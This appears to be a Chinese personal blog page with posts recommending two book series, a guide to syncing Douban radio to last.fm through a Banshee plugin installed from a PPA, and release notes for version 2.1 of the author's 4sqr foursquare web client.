嗯,说道书,这阵子分好多次买了不少书,积累下来发现有两套丛书我陆陆续续居然买了不少本了。两套丛书一理一文,理的一套是湖南科技出版社的第一推动丛书,翻译质量以我的标准看来至少都在中上水平,非常难得,那些科学类著作的翻译,都要比霍金著作的中文简体版独家垄断译者,号称霍金弟子的那位强多了。文的一套则是上海古籍出版社的世纪人文系列丛书·世纪文库,其中不少近国内代人文学者的著作,现代的砖家们的书是完全不可同日耳语的。

在linux下同步豆瓣电台到last.fm

最近发现了一个ubuntu下音乐播放器banshee的插件banshee-doubanfm,可以通过它同步豆瓣电台到last.fm。

首先安装banshee-doubanfm:

sudo add-apt-repository ppa:pro711/ppa

sudo apt-get update

sudo apt-get install banshee-extension-doubanfm

接下来运行 Banshee 并且启用插件(编辑->首选项->扩展程序),然后点击左侧在线媒体列表中的 豆瓣电台 项目,此时会弹出用户名和密码设置对话框,设置完成后即可点击播放收听豆瓣电台。

最后点击左侧的last.fm项目,登录last.fm。这样在banshee中用豆瓣电台播放曲目时,会把曲目信息同步到你的last.fm账户。

4sqr更新到2.1

foursquare+google纵横的web客户端4sqr再次更新。有朋友说一些地点因为坐标偏移找不到,我一时也没什么好办法,只好采取了一些其他的补救措施:

首先是首页地点列表根据favorites, trending和 nearby分成三种类型,这样可能更容易找到你需要的地点,此外,最近Google Places API终于开放,可以根据一个坐标获取周围的地点信息。4sqr2.1加入了这个功能,以弥补checkin地点不足的问题(4sq的API最多只能返回50个地点。。。。),而且添加新地点的话,可以直接自动填入Google Places的内容,checkin速度能够有所提高。

具体使用办法:

在4sqr2.1版中的config.php文件中$placeskey = ”;处填入Google Places API key。API key的获取方法如下:

  1. 使用google帐号登入https://code.google.com/apis/console
  2. 创建一个API Project
  3. 激活Places API
  4. 接受使用条款
  5. 页面返回后,点击左侧的API access,就能看到你的API key

4sqr2.1下载:

google code现在被墙的厉害,zip文件翻墙上传居然传不了,因此建议你从code使用svn下载

svn checkout http://4sqr.googlecode.com/svn/trunk/ 4sqr-read-only

或者你也可以从git下载